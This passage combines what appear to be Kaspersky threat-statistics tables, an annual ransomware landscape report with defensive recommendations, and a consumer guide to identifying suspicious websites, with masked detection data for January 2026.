Country/territory	Q4 2025	Q1 2026
United States	16.10%	23.74%
The Netherlands	15.78%	17.57%
Germany	12.07%	10.34%
Panama	7.72%	6.34%
India	5.32%	6.05%
Romania	4.05%	5.82%
Australia	1.62%	4.61%
Vietnam	4.21%	3.50%
Russian Federation	3.79%	2.35%
Sweden	2.25%	2.09%

China continues to account for the largest proportion of Telnet attacks, though there was a marked increase in activity originating from Pakistan.

Country/territory	Q4 2025	Q1 2026
China	53.64%	39.54%
Pakistan	14.27%	27.31%
Russian Federation	8.20%	8.25%
Indonesia	8.58%	6.71%
India	4.85%	4.66%
Brazil	0.06%	3.30%
Argentina	0.02%	2.51%
Nigeria	1.22%	1.38%
Thailand	0.01%	0.55%
Sweden	0.54%	0.55%

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malicious programs, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q1 2026, Kaspersky solutions blocked 343,823,407 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 49,983,611 unique URLs.

Web-based attacks by country/territory, Q1 2026 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

	Country/territory*	%**
1	Venezuela	9.33
2	Hungary	8.16
3	Italy	7.58
4	Tajikistan	7.48
5	India	7.21
6	Greece	7.13
7	Portugal	7.10
8	France	7.05
9	Belgium	6.83
10	Slovakia	6.80
11	Vietnam	6.62
12	Bosnia and Herzegovina	6.57
13	Canada	6.56
14	Serbia	6.50
15	Tunisia	6.36
16	Qatar	6.01
17	Spain	5.95
18	Germany	5.95
19	Sri Lanka	5.89
20	Brazil	5.88

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.73% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q1 2026, our File Anti-Virus detected 15,831,319 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

	Country/territory*	%**
1	Turkmenistan	47.96
2	Tajikistan	31.48
3	Cuba	31.03
4	Yemen	29.59
5	Afghanistan	28.47
6	Burundi	26.93
7	Uzbekistan	24.81
8	Syria	23.08
9	Nicaragua	21.97
10	Cameroon	21.60
11	China	21.09
12	Mozambique	21.02
13	Algeria	20.64
14	Democratic Republic of the Congo	20.63
15	Bangladesh	20.44
16	Mali	20.35
17	Republic of the Congo	20.23
18	Madagascar	20.00
19	Belarus	19.78
20	Tanzania	19.52

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 11.55% of users’ computers during Q1.

Russia scored 11.92% in these rankings.

With International Anti-Ransomware Day taking place on May 12, Kaspersky presents its annual report on the evolving global and regional ransomware cyberthreat landscape.

Ransomware remains one of the most persistent and adaptive cyberthreats. In 2026:

• New families continue to emerge, adopting post-quantum cryptography ciphers.
• As ransom payments drop, some groups implement encryptionless extortion attacks.
• In a constantly changing ecosystem of threat actors, initial access brokers maintain a relevant role in this market, showing increased focus on access to RDWeb as the preferred method of remote access.

Ransomware attacks decline but remain a major threat

According to Kaspersky Security Network, the share of organizations affected by ransomware decreased in 2025 across all regions compared to 2024.

Percentage of organizations affected by ransomware attacks by region, 2025 (download)

Despite the formal decrease, organizations across all sectors continue to face a high likelihood of attack, as ransomware operators refine their tactics and scale their operations with increasing efficiency. Kaspersky and VDC Research have found that in the manufacturing sector alone, ransomware attacks may have caused over $18 billion in losses in the first three quarters of the year.

The continued rise of EDR killers and defense evasion tooling

In 2026, ransomware operators increasingly prioritize neutralizing endpoint defenses before executing their payloads. Tools commonly referred to as “EDR killers” have become a standard component of attack playbooks. This reflects a continuing trend toward more deliberate and methodical intrusions.

Attackers attempt to terminate security processes and disable monitoring agents, often by exploiting trusted components such as signed drivers. This technique is called Bring Your Own Vulnerable Driver (BYOVD) and allows adversaries to blend into legitimate system activity while gradually degrading defensive visibility.

Thus, evasion is no longer an opportunistic step but a planned and repeatable phase of the attack lifecycle. As a result, organizations are increasingly challenged not just to detect ransomware but also to maintain control in environments where security controls themselves are actively targeted.

The appearance of new families adopting post-quantum cryptography

We predicted that quantum-resistant ransomware would appear in 2025. Looking back at the previous year, we see that advanced ransomware groups indeed started using post-quantum cryptography as quantum computing evolved. The encryption techniques used by this quantum-proof ransomware could be used to resist decryption attempts from both classical and quantum computers, making it nearly impossible for victims to decrypt their data without having to pay a ransom.

One example is the appearance of the PE32 ransomware family (link in Russian); it leverages the cutting-edge ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism) standard to secure its AES keys. This specific cryptographic framework was recently selected by NIST as the primary standard for post-quantum defense.

Within the PE32 ransomware architecture, this is realized through the Kyber1024 algorithm, a robust mechanism providing Level 5 security, roughly equivalent in strength to AES-256. Its primary function is the secure generation and transmission of shared secrets between parties, specifically engineered to withstand future quantum computing attacks. This shift toward post-quantum readiness is part of a broader industry trend; for instance, TLS 1.3 and QUIC protocols have already adopted the X25519Kyber768 hybrid model, which fuses classical encryption with quantum-resistant security.

The shift to encryptionless extortion

In 2025, the share of ransoms paid dropped to 28%. As a response to this, one of the developments in the 2026 landscape is the growing prevalence of extortion incidents in which no file encryption takes place at all. Instead, attackers leave out the “ware” in “ransomware” and focus on extracting sensitive data and leveraging the threat of public disclosure as their primary means of extortion. ShinyHunters is an excellent example of such a group, using a data leak site to publicize its victims.

By avoiding encryption, attackers may aim at reducing the likelihood of immediate detection, shortening the duration of the attack, and eliminating dependencies on stable encryption routines. Often, this model is used alongside traditional tactics in so-called double extortion schemes, but an increasing number of campaigns rely exclusively on data theft.

For victims, this shift fundamentally changes the nature of the risk. While backups remain effective against encryption-based disruption, they provide no protection against data exposure, regulatory consequences, and reputational damage. Ransomware is therefore evolving from a business continuity issue into a broader data security and compliance challenge.

Industrialization of initial access (Access-as-a-Service)

The ransomware ecosystem continues to evolve toward a highly industrialized and specialized model, with initial access remaining as one of its most critical components. In 2026, many ransomware operators keep relying on IABs (initial access brokers), a network of intermediaries who supply pre-compromised access to corporate environments, aiming to no longer perform full intrusions themselves.

This “access-as-a-service” model is fueled by credential theft operations, and the widespread availability of compromised accounts harvested through infostealers and phishing campaigns.

The primary access vectors offered for sale have not changed: RDP, VPN, and RDWeb are still the top access vectors. Consequently, remote access infrastructure remains the primary attack surface for initial access sales. In response to the measures against public exposure of RDP access points to the internet, attackers are now targeting RDWeb portals, which are frequently vulnerable and occasionally inadequately safeguarded.

The result is a threat landscape where unauthorized access is increasingly commoditized, and the barrier to launching ransomware attacks declines. This means that preventing initial compromise is only part of the challenge; equal emphasis must be placed on detecting misuse of legitimate credentials and limiting lateral movement within already-breached environments.

Ransomware developments on the dark web

Telegram channels and underground forums increasingly function as platforms for the distribution and sale of compromised datasets and access credentials including those that were obtained as a result of ransomware attacks.

Advertisements posted on these resources typically include the nature of the access, a description of the exfiltrated or compromised data, price terms, and contact information for prospective buyers. In addition, some malicious actors mention their collaboration with other ransomware groups. Lesser-known gangs can use this name-dropping to promote themselves

Multiple threat actors not related to ransomware groups distribute datasets downloaded from ransomware blogs on underground forums and Telegram. By re-publishing download links and files, they spread compromised data as well as information on the ransomware attack within the community.

The ransomware itself is also sold or offered for subscription on the dark web platforms. The sellers underscore the uniqueness of their malware, as well as its encryption and defense evasion features.

Law enforcement actions

Law enforcement agencies are actively shutting down dark web platforms and ransomware data leak sites. A major underground forum, RAMP, which also functioned as a platform for threat actors to advertise their ransomware services and publish service‑related updates, was seized by authorities in January 2026. Another underground forum, LeakBase, where malicious actors distributed exfiltrated and compromised data, was seized in March 2026. In 2025, law enforcement agencies seized well-known forums like Nulled, Cracked, and XSS. Also in 2025, the DLSs of BlackSuit and 8Base ransomware groups were seized. These takedowns cause inconvenience to ransomware coordination, specifically for initial access brokers and affiliates, though similar forums are expected to fill the void over time.

Top ransomware groups in 2025

RansomHub’s sudden dormancy in 2025 marked a shift, and Qilin became the dominant player from Q2 onward. According to Kaspersky research, Qilin was the most active group executing targeted attacks in 2025.

Each group’s share of victims according to its data leak site (DLS) as a percentage of all reported victims of all groups during the period under review (download)

Qilin stands out as one of the fastest-growig and dominant RaaS platforms. Its combination of high-volume operations and structured affiliate model positions it as a central player in the current ecosystem.

Clop, the second most active group in 2025, is distinguished through its large-scale, supply-chain-style attacks, exploiting widely used file transfer and enterprise software to compromise hundreds of victims simultaneously. This one-to-many approach sets it apart from more traditional, single-target campaigns.

Third place is occupied by Akira, which remains notable for its consistency and operational stability, maintaining a steady stream of victims without major disruption. Its ability to sustain activity over time makes it one of the most reliable indicators of baseline ransomware threat levels.

Although no longer active, RansomHub stands out for its rapid rise and equally rapid disappearance in 2025, highlighting the volatility of the RaaS market. Its shutdown created a vacuum that significantly reshaped affiliate distribution across other groups.

DragonForce is also notable – not just for its own operations, but for its broader influence within the ransomware ecosystem, including reported involvement in infrastructure conflicts and possible links to the disruption of competing groups. Thus, the group claims that RansomHub “has moved to their infrastructure.” This positions it as more than just an operator and potentially an ecosystem-level actor.

New actors in 2026

While emerging actors generally operate on a smaller scale, they provide insight into the continuous churn and low barrier to entry within the ransomware ecosystem.

The Gentlemen group caught our attention in early 2026, as they managed to attack a significant number of victims over a short time. This actor is also notable for reflecting a broader shift toward professionalization and controlled operations within the ransomware ecosystem. Unlike many emerging groups that rely on opportunistic attacks and inconsistent leak activity, The Gentlemen demonstrate a more deliberate approach: structured intrusion workflows, selective targeting, and measured communication with victims. This signals a move away from chaotic, high-noise campaigns toward predictable, business-like execution models that are easier to scale and harder to disrupt. Their TTPs include the massive exploitation of hardware very common on big corporations, such as FortiOS/FortiProxy, SonicWall VPN, and Cisco ASA appliances. The group might be comprised of professional cybercriminals who left other prominent groups.

The group is also notable for its emphasis on data-centric extortion strategies, often prioritizing exfiltration and leverage over purely disruptive encryption. This aligns with one of the defining trends of 2026: ransomware evolving into a form of data breach monetization rather than just system denial. By focusing on controlled pressure and reputational risk instead of immediate operational damage, The Gentlemen exemplify how attackers are adapting to lower ransom payment rates and improved backup practices among victims.
Some other groups to take note of in 2026:

• Devman appears to be an emerging actor with limited but growing activity, likely leveraging existing tooling rather than developing custom capabilities.
• MintEye hasn’t been very active yet, with just five known victims, suggesting opportunistic campaigns without a consistent operational tempo.
• DireWolf is associated with small-scale, targeted attacks, though its overall footprint remains relatively limited compared to larger RaaS groups.
• NightSpire demonstrates characteristics of an amateur group, such as mistakes during its operations, uncommon communication channels with the victims, and sometimes giving them insufficient time to pay up. Although they both encrypt and leak data, they prioritize publication rather than encryption.
• Vect shows low-volume activity. It is yet unclear whether they use a completely new codebase or are rather a rebrand of an existing group.
• Tengu is a less prominent actor, with limited public reporting and no clear distinguishing tactics beyond standard extortion models.
• Kazu appears to be created by ransomware operators previously engaged with multiple other groups. As of now, they don’t stand out for scale or technique.

Although there is little to say about these groups at the time of writing this report, each of them may be equally likely to disappear from the threat landscape or grow into a prominent threat. That’s why it’s important to track them from their early days. Moreover, collectively, these groups illustrate how dynamic the ransomware landscape is, with new entrants constantly replenishing it.

Conclusion and protection recommendations

Despite the growing effort by law enforcement agencies across the globe to seize and disrupt dark web platforms and threat actor infrastructures, ransomware operations remain stable, with new groups quickly taking the place of those who went silent. In 2026, we see a shift towards encryptionless extortion, with data leaks increasingly becoming the main threat to target organizations. At the same time, data encryption is also upgrading to the next level with the emergence of post-quantum ransomware.

To resist the evolving threat, Kaspersky recommends organizations:

Prioritize proactive prevention through patching and vulnerability management. Many ransomware attacks exploit unpatched systems, so organizations should implement automated patch management tools to ensure timely updates for operating systems, software, and drivers. For Windows environments, enabling Microsoft’s Vulnerable Driver Blocklist is critical to thwarting BYOVD attacks. Regularly scan for vulnerabilities and prioritize high-severity flaws, especially in widely used software.

Strengthen remote access: RDP and RDWeb connections should never be directly exposed to the internet, only through VPN or ZTNA (Zero Trust Network Access). It’s highly recommended to adopt multi-factor authentication on everything; the architecture may require continuous authentication for access, as one valid credential captured is enough to cause a breach. Monitoring the underground for stolen employee credentials is essential. Audit open ports across the entire attack surface. The adoption of the “Principle of Least Privilege” (PoLP), where users, systems, or processes are granted only the minimum access rights, such as read, write, or execute permissions, necessary to perform their specific job functions, is highly recommended.

Strengthen endpoint and network security with advanced detection and segmentation. Deploy robust endpoint detection and response solutions such as Kaspersky NEXT EDR to monitor for suspicious activity like driver loading or process termination. Network segmentation is equally important. Limit lateral movement by isolating critical systems and using firewalls to restrict traffic. Complete and immediate offboarding for employees is necessary as well as periodic permission reviews, with automatic revocation of unused access. Sessions with complete logging for privileged accounts are more than necessary. Monitoring the traffic divergence to new sites or even to legitimate endpoints can help the defenders to spot a new insider threat.

Invest in backups, training, and incident response planning. Maintain offline or immutable backups that are tested regularly to ensure rapid recovery without paying a ransom. Backups should cover critical data and systems and be stored in air-gapped environments to resist encryption or deletion. User education is essential to combatting phishing, which remains one of the top attack vectors. Conduct simulated phishing exercises and train employees to recognize AI-crafted emails. Kaspersky Global Emergency Response Team (GERT) can help develop and test an incident response plan to minimize potential downtime and costs.

The recommendation to avoid paying a ransom remains robust, especially given the risk of unavailable keys due to dismantled infrastructure, affiliate chaos, or malicious intent. By investing in backups, incident response, and preventive measures like patching and training, organizations can avoid funding criminals and mitigate the impact.

Kaspersky also offers free decryptors for certain ransomware families. If you get hit by ransomware, check to see if there’s a decryptor available for the ransomware family used against you.

Executive summary

• A suspicious website is a web resource that cannot be definitively classified as phishing, but whose activities are unsafe. Such sites manipulate users, tricking them into voluntarily transferring money for non-existent services, signing up for hidden subscriptions, or disclosing personal data through carefully crafted terms of service. These include fake online stores, dubious crypto exchanges, investment platforms, and services with paid subscriptions.
• Kaspersky has introduced a new web filtering category, “Sites with an undefined trust level,” into its security products (Kaspersky Premium, Android and iOS apps, etc.). The system analyzes the domain name and age, IP address reputation, DNS configuration, HTTP security headers, and SSL certificate to automatically detect suspicious resources.
• According to Kaspersky data for January 2026, the most widespread global threat is fake browser extensions that mimic security products — they were detected in 9 out of 10 regions analyzed worldwide. Such extensions intercept browser data, track user activity, hijack search queries, and inject ads.
• Kaspersky’s regional statistics reveal the specific nature of these threats: in Africa, over 90% of the top 10 suspicious websites are online trading scam platforms; in Latin America, fake betting services predominate; in Russia, fake binary options brokers and “educational platforms” with fraudulent subscriptions lead the way; in CIS countries — crypto scams and bots for inflating engagement.
• Key indicators of a suspicious website to check: a strange domain name with numbers or random characters, cheap top-level domains (.xyz, .top, .shop), a recently registered domain (less than 6 months old according to WHOIS data), unrealistic promises (“100% guaranteed income,” “up to 300% profit”), lack of company contact information, and payments only via cryptocurrency or irreversible bank transfers.

Introduction

The online landscape is filled with various traps lying in wait for users. One such threat involves websites that can’t be strictly classified as phishing, yet whose activities are inherently unsafe. These sites often operate on the fringes of the law, even if they aren’t directly violating it. Sometimes they use a cleverly crafted Terms of Service document as a loophole. These agreements might include clauses such as no-refund policies or forced automatic subscription renewals.

Fake online stores, dubious financial platforms, and various online services that mimic legitimate business operations are all categorized as suspicious. Unlike actual phishing sites, which aim to steal sensitive data like banking credentials or passwords, these suspicious sites represent a far more cunning trap. Their goal is manipulation: tricking the victim into willingly paying for non-existent goods and services or signing them up for a subscription that’s nearly impossible to cancel. Beyond financial gain, these sketchy websites may also hunt for personal data to sell later on the dark web.

Our solutions categorize them as having an “undefined trust level”. This article explains what these sites look like, how to identify them, and what you can do to stay safe.

The dangers of shady websites

One of the biggest risks associated with making a purchase from an untrusted website that seems to be an online store is the financial loss and falling victim to fraud. Fake shops will entice you with attractive deals to get you hooked. After you pay, you may never receive what you paid for, or you may receive some cheap piece of unusable junk instead of the item you ordered. Investment or “guaranteed income” programs are another type of classic scam — they promise rapid returns, and once they take your deposits, they disappear without a trace.

Visiting or buying from untrusted suspicious websites can expose you to various risks that go beyond a single bad purchase. Fraudulent websites often collect your personal information even if you do not end up making a purchase. By completing a form or signing up for a “free offer”, you may be providing the scammer with access to your information.

Personal data collection can happen in a fairly straightforward and obvious way — for instance, through a standard order delivery form. In this scenario, attackers end up with sensitive information like the user’s full name, shipping and billing addresses, phone number, email address, and, of course, payment details. As we’ve previously discussed, fraudsters sell this kind of information, and there’re countless ways it can be used down the line. For example, this data might be leveraged for spam campaigns or more serious threats like stalking or targeted attacks.

Common types of suspicious sites

Let’s take a closer look at the different types of shady sites out there and how interacting with them can lead to financial loss, data leaks, the unauthorized use of personal information, and other consequences.

It’s worth noting that rogue websites can masquerade as legitimate ones in almost any industry. The first type of fraudulent site we’ll look at is fake online stores. These can appear as clones of real brand websites or as standalone stores. Usually, the scam follows one of two paths: the buyer either receives a counterfeit or poor-quality product, or they receive nothing at all. These sites lure victims in with suspiciously low prices and “exclusive” deals. Often, users are subjected to psychological pressure: the time to make a purchase decision is purposefully limited, provoking the victim, as with any other scam, into making an impulse purchase.

Another common type of shady site includes online exchanges and trading platforms. These primarily target cryptocurrency, as the lack of legislative regulation for digital currency in certain countries makes them a magnet for fraudsters. These suspicious sites often lure victims with supposedly favorable exchange rates or other enticing gimmicks. If the user attempts to exchange cryptocurrency, their tokens are gone for good. Beyond simple exchanges, rogue sites offer investment services and even display a fake balance growth to appear credible. However, withdrawing funds is impossible; when the victim tries to cash out, they’re prompted to pay some fee or fictional tax.

Subscription traps are also worth noting, offering everything from psychological tests to online video streaming platforms. The hallmark of these sites is that they deliberately withhold critical information, such as recurring charges, or hide the fact it even exists. Typically, the scheme works like this: a user is offered a subscription for a nominal fee, like $1. While that seems attractive, the next charge – perhaps only a week later – might be as much as $50. This information is intentionally obscured, buried in fine print or tucked away in the Terms of Service where it’s harder to find. Legitimate services always clearly disclose subscription terms and provide an easy way to cancel before a trial period ends. Scam services, on the other hand, do everything possible to distract the user from the actual terms of use and subscription.

Shady sites can also masquerade as providers of mediation services, such as legal or real estate assistance. In reality, the service is either never delivered or provided in a stripped-down, incomplete form. For example, a user might be prompted to pay for a service that’s normally provided for free. The danger here lies not only in losing money for non-existent services but also in the significant risk of exposing personal data, such as ID details, taxpayer identification numbers, social security numbers, or driver’s license information. Once in the hands of attackers, this data can become a tool for executing further scams or targeted attacks.

On the whole, suspicious sites are fairly difficult to distinguish from legitimate, trustworthy services. Masquerading as a legitimate business is the primary goal of these sites, and the fraudulent schemes they employ are not always obvious. Nevertheless, there are protective measures as well as certain indicators that can help you suspect a site is unsafe for purchases or financial transactions.

How to identify suspicious or fraudulent websites

Despite the increasingly convincing attempts to create fake shops, the majority of them still lack the quality of real online stores, and there are many signs that may give them away. Some of these signs can be caught by the eye while others require a bit of technical investigation. By combining visual inspection, technical checks, and trusted online tools, you can protect yourself from financial loss or data theft.

Visual and manual clues

You don’t need to be a cybersecurity expert to catch many red flags just by observing the site’s domain, visuals, language and behavior. For instance, scam sites often have strange or randomly generated names, filled with numbers, underscores, hyphens, or meaningless words, like best-shop43.com. In addition, such vague top-level domains as .xyz, .top, or .shop are also frequently used in scams because they’re cheap and easy to register.

Furthermore, most fake stores sites look unprofessional, with poor visuals, pixelated images, mismatched fonts, or copied templates. Many fraudulent websites borrow layouts or logos from other brands or free templates, which makes them appear generic and sketchy.

Another major giveaway lies in the content itself. Be aware of persuasive language, unrealistic promises, or emotional triggers such as No KYC, Risk-free returns, 100% guaranteed income, Up to 300% profit, or Passive income with zero effort. Unrealistic deals are another red flag. If the products are listed at extremely low prices, continuous countdown timers, and “limited time only” messages that are often used to pressure you into making a quick purchase, it’s a clear tell of a fraudulent website.

Legitimate businesses always provide verifiable contact details, such as a physical address, company name, and customer support. On the contrary, scam sites hide this information. You may also notice the non-functioning pages, broken or suspicious links leading to unrelated external sites which indicate poor maintenance or malicious intent.

Another important signal is the website’s social media presence. Legitimate online businesses usually maintain at least one active social media account to promote their products and communicate with customers. In most cases, these businesses have long-established social media accounts with harmonized posting history and engagement from real users, consistency between the brand website and social media profiles (same name, logo, and links). The links to social media profiles from the website are usually direct. In contrast, fraudulent or deceptive websites often lack any meaningful social media presence or display signs of superficial or artificial activity. This may include missing social media accounts altogether, social media icons that lead to non-existent, inactive, or unrelated pages, or recently created profiles with very few posts and minimal user engagement. In some cases, comment sections are disabled or dominated by spam and automated content, suggesting an attempt to avoid public interaction rather than engage with customers.

Lastly, the payment options offered by the site can also tell a lot about its legitimacy. Be extremely cautious if a website only accepts cryptocurrency, wire transfers, or third-party P2P payments. These payment methods are irreversible and are preferred by scammers. Legitimate e-commerce platforms typically offer secure and reversible payment options, such as credit cards or trusted payment gateways that include buyer protection policies.

However, the absence or existence of any of these factors alone does not necessarily indicate malicious intent. It should be evaluated in combination with technical, linguistic, and behavioral indicators, rather than treated as a standalone signal of legitimacy.

Technical indicators to check

Looking into technical signs can reveal whether a website is trustworthy or potentially fraudulent.

One of the first things to check is the domain age. Scam websites are often short-lived, appearing only for a few weeks or months before disappearing once users start reporting them. To check when the domain was created, use a WHOIS lookup. If it’s less than six months old, be cautious — especially for e-commerce or investment sites, where legitimacy and trust take time to build.

Let’s take a look at the registration details for the popular online marketplace Amazon. As we can see from the WHOIS information, it was registered in 1994.

Meanwhile, a reported suspicious online store was created a couple of months ago.

Legitimate websites usually operate on stable hosting platforms and remain on the same IP addresses or networks for long periods. In contrast, fraudulent websites often move between servers (in most cases using a cheap shared hosting service) or reuse infrastructure already associated with abuse. Checking the IP address reputation can reveal if the website or the hosting server has previously been linked to suspicious activities. Even if the website looks legitimate, a poor IP reputation can expose it.

In addition to that, looking at the infrastructure behavior over time can reveal patterns about its legitimacy. Websites associated with fraudulent activity often show short lifespans, sudden spikes in activity, or rapid appearance and disappearance, which indicates a coordinated campaign rather than a legitimate business.

Another important clue is hidden ownership. When the WHOIS details show “Redacted for Privacy” or leaves the organization name blank, it may indicate that the website owner is deliberately hiding their identity.

We should point out that while this can raise suspicion during investigations, hidden WHOIS data is not inherently malicious. Many legitimate businesses use privacy protection services for valid reasons. These may include protection from spam and phishing after public email addresses are taken from WHOIS databases, personal safety for small business owners, and brand protection to prevent competitors or malicious actors from targeting the registrant. This means that some businesses can use services like WHOIS Privacy Protection, Domains By Proxy, or PrivacyGuardian.org to remove the WHOIS data while still operating transparently on their websites through clear contact details, customer support channels, and legal pages (e.g. terms of use).

Therefore, hidden ownership should be treated as a contextual risk indicator, not a standalone proof of fraud. It becomes more suspicious when combined with other signals such as newly registered domains, and lack of legal information.

Next, you can check the security headers of the website. Legitimate websites are usually well maintained and include several key HTTP headers for protection. Some examples include:

• Content-Security-Policy (CSP) provides strong defense against cross-site scripting (XSS) attacks by defining which scripts are allowed to run on the site and blocking any malicious JavaScript that could steal login data or inject fake forms.
• HTTP Strict-Transport-Security (HSTS) forces browsers to connect to the site only over HTTPS. It ensures all communication is encrypted and prevents redirecting users to an insecure (HTTP) version of the site.
• X-Frame-Options prevents clickjacking, which is a type of attack where a legitimate-looking button or link on a malicious page secretly performs another action in the background.
• X-Content-Type-Options blocks MIME-type attacks by preventing browsers from misinterpreting file types.
• Referrer-Policy controls how much information about your previous browsing (referrer URLs) is shared with other sites.

These headers form the “digital hygiene” of a website. Their absence doesn’t always mean a site is malicious, but it does suggest a lack of security awareness or professional maintenance — both strong reasons to be cautious.

You should also check the SSL certificate. Scam sites may use self-signed or short-lived SSL certificates. You can inspect this by clicking the padlock icon in your browser’s address bar — if it says “not secure” or the certificate authority seems unfamiliar, that’s a red flag.

You can check the security headers and the SSL certificate by sending an HTTP request programmatically or by using some online service.

Another indicator that provides insight into how well a website is done and managed is DNS configurations. Legitimate businesses typically use reliable DNS providers and maintain consistent DNS records. Missing the name server NS or mail exchange MX records may indicate poor DNS configuration. In addition to NS and MX, reputable sites also configure SPF and DMARC records to protect their brand from email spoofing and phishing. Something scam website developers won’t bother with because they don’t intend to build a long-standing reputation.

You can check the configurations of DNS records either programmatically or by using an online service.

Another recommendation is to pay attention to website behavior. If there are frequent redirects, pop-up ads, or background requests to unknown domains, this may indicate unsafe scripting or tracking.

How to protect yourself

Tools and databases for detecting suspicious websites

We at Kaspersky have built an intelligent system for detecting suspicious web resources and added this new type of protection into many of our products, including Kaspersky Premium, Kaspersky for Android and iOS, and others. Our detection model is based on many factors, including but not limited to the following:

• domain name and age,
• IP reputation,
• stability of the infrastructure used,
• DNS configurations,
• HTTP security headers,
• digital identity and popularity of the web resource.

Kaspersky has been certified as a provider of effective protective technology for fake shop detection.

When a user tries to visit a site flagged as having an undefined trust level, our solutions show a warning to stop the visitor from becoming a victim of personal data leaks, financial losses or a bad purchase:

This component is on by default.

Moreover, there are several online tools and databases that can help assess a website’s legitimacy:

• ScamAdviser analyzes trust based on WHOIS, server location, and web reputation.
• APIVoid provides risk scoring using DNS, IP, and domain reputation databases.
• National government databases often maintain official lists of fraudulent or blacklisted domains.

Preventive measures

To protect yourself from such threats, it might a good idea to take some additional preventive measures. Always double-check the URL and domain name, especially when you are about to click a link or make a payment. Make sure the site uses HTTPS and has a trusted certificate.

You can use standard browser tools to verify site security. For example, in Google Chrome, clicking the site information button (the lock or settings icon in the address bar) displays details about the connection security and the site’s certificate.

In the Security section, you can check whether the site supports HTTPS – it should say “Connection is secure” – and view the site’s digital certificate.

Additionally, keep reliable security software with real-time protection running on your device to stop you from accessing dangerous websites. Do not download any files or enter your personal information on websites that look unprofessional or suspicious. And finally, remember the golden rule: if a deal seems too good to be true, it often is.

If you realize that you’re on a scam website, it’s important to perform certain post-incident actions immediately. First, contact your bank or payment provider as soon as possible to block the transaction or card. Then, change your passwords for the services which might have been compromised, and run a full antivirus scan on your device to detect and remove any potential threats. Lastly, consider reporting the website to the cybercrime agency in your country or to the consumer protection agency. Sharing your experience online by leaving a review or warning will give notice to potential customers alike.

By staying careful and taking quick actions, you can significantly reduce the chances of being a target and help make the internet a safer place for everyone.

An overview of detection statistics for sites with an undefined trust level

To illustrate the types of suspicious sites prevalent in various regions around the world, we analyzed anonymized detection data from Kaspersky solutions for the “websites with an undefined trust level” category in January 2026. For each region, we identified the 10 most frequently encountered sites and calculated the share of each within that list. To maintain privacy, specific domains are not listed directly; instead, they’re described based on their functionality and characteristics.

Most visited suspicious sites

First, let’s examine the sites that appear across multiple regions, indicating a high prevalence.

In 9 out of the 10 regions analyzed, we encountered a suspicious image processing platform (*a*o*.com). This site positions itself as a photo editing tool, but in reality, it serves as an intermediary server for uploading images used in phishing and other campaigns. By interacting with such a site, users risk exposing personal data under the guise of uploading images or falling victim to a phishing attack.

Percentage of the *a*o*.com domain detections by region, January 2026 (download)

This site has the largest share of detections in the Russian Federation, where it ranks first in the TOP 10 with a 40.80% share. It is also prevalent in Latin American countries (21.70%) and the CIS (14.64%), while it’s least common in Canada at 0.24%.

The next site appeared in 7 regions. It consists of a landing page for a fake antivirus solution presented as a browser extension (*n*s*.com). This extension redirects the user to a fake search engine page allowing it to collect data and track user activity, specifically search queries.

Percentage of the *n*s*.com domain detections by region, January 2026 (download)

This site is most frequently detected in South Asia, with a share of 33.31%. Its presence in Canada and Oceania is roughly equal (15.47% and 15.09%, respectively). We recorded the lowest number of detections in Africa, at 2.99%.

Another suspicious browser extension appeared in the TOP 10 in 6 out of the 10 regions. It’s a fake privacy-enhancing tool hosted at *w*a*.com. Instead of providing the advertised privacy features, this extension carries a high risk of intercepting browser data. It can modify browser settings, harvest user data, and swap the default search engine for a fake one. Furthermore, it maintains full control over all browser traffic.

Percentage of the *w*a*.com domain detections by region, January 2026 (download)

This “service” has its largest share, 22.25%, in the Middle East and North Africa, and is also quite common in Canada (16.26%). It’s least frequently encountered in Latin America (5.38%) and East Asia (4.02%).

The site *o*r*.com appeared in five regional rankings. It’s a fake security service promising to provide online safety by warning users about malicious sites and dangerous search queries. This extension has the potential to steal cookies (including session cookies), inject advertisements, spoof login forms, and harvest browser history and search queries. We noted that this site made the TOP 10 in Africa (0.59%), the MENA (Middle East and North Africa) region (4.57%), Europe (5.61%), Canada (7.21%), and Oceania (1.93%).

In 4 out of the 10 regions, we identified several other recurring sites. One of them (*n*p*.xyz) mimics a repository for creative AI image generation prompts while capturing browser data. The domain hosting this site exhibits several red flags: it was recently registered, and the owner’s information is hidden. This site reached the TOP 10 in Africa (0.51%), the MENA region (7.04%), Latin America (22.54%, ranking first in that region), and South Asia (5.91%).

